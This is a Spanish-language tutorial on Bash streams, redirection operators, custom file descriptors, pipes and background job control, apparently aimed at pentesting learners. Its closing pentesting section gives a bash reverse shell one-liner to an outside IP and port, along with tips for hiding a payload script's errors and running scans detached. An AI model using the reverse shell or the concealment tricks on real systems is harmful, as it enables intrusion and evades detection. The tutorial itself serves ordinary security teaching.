Control de Flujo, Redirecciones y Procesos en Segundo Plano
En el entorno de línea de comandos de Linux, el control sobre la entrada y salida de los programas es fundamental. Comprender cómo funcionan las redirecciones y la gestión de procesos no solo optimiza las tareas diarias, sino que también es una habilidad crucial en el pentesting para manipular datos, ocultar actividades y automatizar ataques.
Conceptos Fundamentales: stdin, stdout y stderr
Section titled “Conceptos Fundamentales: stdin, stdout y stderr”Cada proceso en Linux se inicia con tres flujos de comunicación abiertos por defecto, conocidos como flujos estándar:
| Descriptor | Nombre | Descripción |
|---|---|---|
0 | stdin (Entrada Estándar) | El flujo de entrada de datos del programa. Por defecto, es el teclado. |
1 | stdout (Salida Estándar) | El flujo de salida para datos correctos o resultados esperados. Por defecto, es la terminal. |
2 | stderr (Error Estándar) | El flujo de salida para mensajes de error o diagnósticos. Por defecto, es la terminal. |
Estos flujos son la base de las redirecciones. En lugar de enviar la salida a la terminal, podemos redirigirla a un archivo, a otro comando o incluso descartarla.
Descriptores de Archivo
Section titled “Descriptores de Archivo”Un descriptor de archivo es un número entero no negativo que el kernel utiliza para identificar un archivo, socket o cualquier otro recurso de E/S abierto por un proceso. Los descriptores 0, 1 y 2 están reservados para los flujos estándar, pero se pueden crear más.
Operadores de Redirección
Section titled “Operadores de Redirección”Los operadores de redirección permiten cambiar el destino de los flujos estándar.
Redirección de Salida (stdout)
Section titled “Redirección de Salida (stdout)”-
>(Sobrescribir): Redirigestdouta un archivo. Si el archivo no existe, lo crea. Si existe, sobrescribe su contenido.Terminal window # Guarda la lista de archivos en 'archivos.txt', borrando el contenido anteriorls -l > archivos.txt -
>>(Añadir): Redirigestdouta un archivo. Si el archivo existe, añade el nuevo contenido al final.Terminal window # Añade la fecha actual al final de 'log.txt'date >> log.txt
Redirección de Errores (stderr)
Section titled “Redirección de Errores (stderr)”-
2>(Sobrescribir error): Redirigestderr(descriptor de archivo 2) a un archivo.Terminal window # Intenta acceder a un archivo sin permisos y guarda el error en 'errores.log'cat /etc/shadow 2> errores.log -
2>>(Añadir error): Añadestderral final de un archivo.Terminal window # Ejecuta un script y registra los errores sin borrar los anteriores./mi_script.sh 2>> errores_acumulados.log
Redirección Combinada (stdout y stderr)
Section titled “Redirección Combinada (stdout y stderr)”-
&>o>&(Sobrescribir ambos): Redirige tantostdoutcomostderral mismo archivo.Terminal window # Guarda toda la salida (correcta y errores) de un comando en un solo archivofind / -name "*.php" &> resultados.txt -
>> archivo 2>&1(Añadir ambos): Añadestdoutaarchivoy redirigestderral mismo destino questdout(el archivo en modo anexo).Terminal window # Registra toda la actividad de un script en un log acumulativo./backup.sh >> backup.log 2>&1
Descartar Salida
Section titled “Descartar Salida”Para ejecutar un comando sin que muestre ninguna salida (ni correcta ni errores), se redirige a /dev/null, un archivo especial que descarta todo lo que se le envía.
# Ejecuta un comando ruidoso sin mostrar nada en la terminalcomando_ruidoso &> /dev/nullRedirección de Entrada (stdin)
Section titled “Redirección de Entrada (stdin)”-
<(Redirigir entrada): Toma el contenido de un archivo como entrada para un comando.Terminal window # Ordena el contenido del archivo 'nombres.txt'sort < nombres.txt -
<<(Here Document): Permite redirigir un bloque de texto de varias líneas comostdin. Es muy útil en scripts.Terminal window # Pasa un bloque de SQL a la herramienta mysqlmysql -u root -p << EOFCREATE DATABASE mi_db;USE mi_db;EOF -
<<<(Here String): Pasa una sola cadena de texto comostdin. Es más simple queecho "cadena" | comando.Terminal window # Cuenta las palabras de una cadenawc -w <<< "Hola mundo desde la terminal"
Tuberías (|)
Section titled “Tuberías (|)”El operador de tubería (|) es una de las herramientas más potentes. Conecta el stdout de un comando con el stdin de otro, permitiendo encadenar procesos.
# Busca todos los procesos de 'apache', filtra las líneas con 'grep' y cuenta cuántas hayps aux | grep 'apache' | wc -lRedirecciones Avanzadas y Técnicas Especiales
Section titled “Redirecciones Avanzadas y Técnicas Especiales”Más allá de las redirecciones básicas, Bash ofrece técnicas avanzadas que brindan un control granular sobre los flujos de datos, esenciales para scripting complejo y tareas de pentesting.
Descriptores de Archivo Personalizados con exec
Section titled “Descriptores de Archivo Personalizados con exec”El comando exec permite manipular los descriptores de archivo de la shell actual de forma persistente. Esto es útil para gestionar múltiples archivos de log o flujos de datos dentro de un script.
-
Abrir y escribir en un descriptor personalizado:
Terminal window # Abrir el descriptor de archivo 3 (FD 3) para escribir en 'output.log'exec 3> output.logecho "Esta línea va a la terminal (stdout)"echo "Esta línea va al archivo de log" >&3echo "Esta también" >&3 -
Abrir y leer de un descriptor personalizado:
Terminal window # Abrir el FD 4 para leer desde 'input.txt'exec 4< input.txt# Leer la primera línea del archivo a través del FD 4read -u 4 lineecho "Leído del archivo: $line" -
Abrir para Lectura y Escritura (
<>): Abre un descriptor de archivo tanto para leer como para escribir. Esto es menos común para archivos regulares, pero es fundamental para la comunicación bidireccional, como con sockets de red.Terminal window # Abrir el FD 5 para lectura y escritura en 'comms.log'exec 5<> comms.log# Escribir en el archivoecho "Iniciando comunicación..." >&5# Para leer, necesitarías gestionar la posición del cursor dentro del archivo.# El uso más práctico es con sockets, como se ve más adelante.# Cerrar el descriptorexec 5<>&- -
Cerrar un descriptor de archivo: Es una buena práctica cerrar los descriptores cuando ya no se necesitan.
Terminal window # Cierra el descriptor de escritura 3exec 3>&-# Cierra el descriptor de lectura 4exec 4<&-
Sustitución de Procesos: <(comando)
Section titled “Sustitución de Procesos: <(comando)”La sustitución de procesos permite que la salida de un comando se comporte como un archivo temporal (técnicamente, un named pipe o FIFO). Esto es extremadamente útil para comandos que esperan rutas de archivo como argumentos.
# Compara las diferencias entre los listados de dos directorios sin crear archivos intermediosdiff <(ls /bin) <(ls /usr/bin)Agrupación de Comandos para Redirección
Section titled “Agrupación de Comandos para Redirección”-
Subshell
(): Ejecuta los comandos en un nuevo proceso. La redirección se aplica a la salida combinada.Terminal window # Guarda la fecha y un listado de archivos en un solo archivo(date; ls -l) > info.txt -
Grupo
{}: Ejecuta los comandos en el proceso actual (más eficiente). Requiere un espacio después de{y un punto y coma;después del último comando.Terminal window # Hace lo mismo que el ejemplo anterior, pero de forma más eficiente{ date; ls -l; } > info.txt
Tubería Combinada: |&
Section titled “Tubería Combinada: |&”Es un atajo introducido en Bash 4 para 2>&1 |. Envía tanto stdout como stderr del primer comando al stdin del segundo.
# Busca 'error' tanto en la salida estándar como en los errores de un script./mi_script.sh |& grep 'error'Variable de Tubería: $PIPESTATUS
Section titled “Variable de Tubería: $PIPESTATUS”$PIPESTATUS es un array que contiene los códigos de salida de todos los comandos en la última tubería ejecutada. Es crucial para verificar si algún paso intermedio falló.
ls /nonexistent | sort | wc -l# El comando no produce errores visibles, pero el primer comando falló.
echo ${PIPESTATUS[0]} # Muestra el código de salida de 'ls' (diferente de 0)echo ${PIPESTATUS[1]} # Muestra el código de salida de 'sort' (0)echo ${PIPESTATUS[2]} # Muestra el código de salida de 'wc' (0)Redirección a Red: /dev/tcp/host/port
Section titled “Redirección a Red: /dev/tcp/host/port”Aunque ya se mencionó para reverse shells, esta construcción de Bash puede usarse para cualquier comunicación TCP. No es un archivo real, sino un intérprete de Bash que abre un socket TCP. Para ello, es fundamental abrir el descriptor en modo de lectura y escritura (<>) para poder enviar datos y recibir la respuesta a través del mismo descriptor.
# Enviar una petición HTTP simple a un servidor webexec 3<>/dev/tcp/example.com/80echo -e "GET / HTTP/1.1\nHost: example.com\n\n" >&3cat <&3 # Leer la respuesta del servidorGestión de Procesos en Segundo Plano
Section titled “Gestión de Procesos en Segundo Plano”Ejecutar tareas en segundo plano (background) libera la terminal para seguir trabajando mientras el proceso se completa.
-
&(Ampersand): Colocado al final de un comando, lo ejecuta en segundo plano.Terminal window # Inicia un servidor web simple en segundo planopython3 -m http.server 8000 &# La terminal muestra el PID (Process ID) y queda libre[1] 12345 -
jobs: Muestra la lista de procesos que se están ejecutando en segundo plano en la sesión actual. -
fg %N(Foreground): Trae un proceso del segundo plano al primer plano.Nes el número del job (obtenido conjobs). -
bg %N(Background): Reanuda un proceso detenido y lo pone en segundo plano.
disown: Desvincular un Proceso de la Terminal
Section titled “disown: Desvincular un Proceso de la Terminal”Por defecto, si cierras la terminal, todos los procesos en segundo plano que iniciaste desde ella reciben una señal SIGHUP (hang-up) y terminan.
El comando disown elimina un job de la tabla de jobs de la shell, protegiéndolo de la señal SIGHUP. Esto permite que el proceso continúe ejecutándose incluso después de cerrar la terminal.
Uso:
-
Inicia un proceso en segundo plano.
Terminal window mi_proceso_largo.sh &[1] 12345 -
Usa
disownpara desvincularlo. Por defecto, actúa sobre el último job.Terminal window disownO especifica el número del job:
Terminal window disown %1
Ahora puedes cerrar la terminal y el proceso 12345 seguirá ejecutándose.
Alternativa común:
nohup(no hang-up) es otro comando que logra un resultado similar.nohup comando &ejecuta un comando inmune aSIGHUPy redirige su salida anohup.outpor defecto.
Aplicaciones en Pentesting
Section titled “Aplicaciones en Pentesting”-
Reconocimiento silencioso: Ejecutar escaneos de red o scripts de enumeración y guardar toda la salida en archivos para analizarla después, sin llenar la pantalla.
Terminal window # Escaneo de Nmap en segundo plano, guardando toda la salida y erroresnmap -sV -p- 192.168.1.0/24 &> nmap_scan.txt &disown -
Reverse Shells: Las redirecciones son la base para crear shells inversas, donde la entrada y salida de
/bin/bashse redirigen a través de una conexión de red.Terminal window # Shell inversa clásica con bashbash -i >& /dev/tcp/10.10.10.5/4444 0>&1 -
Filtrado y análisis de logs: Usar
cat,grep,awk,sedy|para buscar patrones, credenciales o información sensible en grandes volúmenes de datos.Terminal window # Buscar contraseñas en un archivo de log, ignorando mayúsculas y minúsculascat access.log | grep -i "password" -
Ocultar actividad: Redirigir la salida de error de un script malicioso a
/dev/nullpara que no deje rastros visibles si falla.Terminal window ./payload.sh 2> /dev/null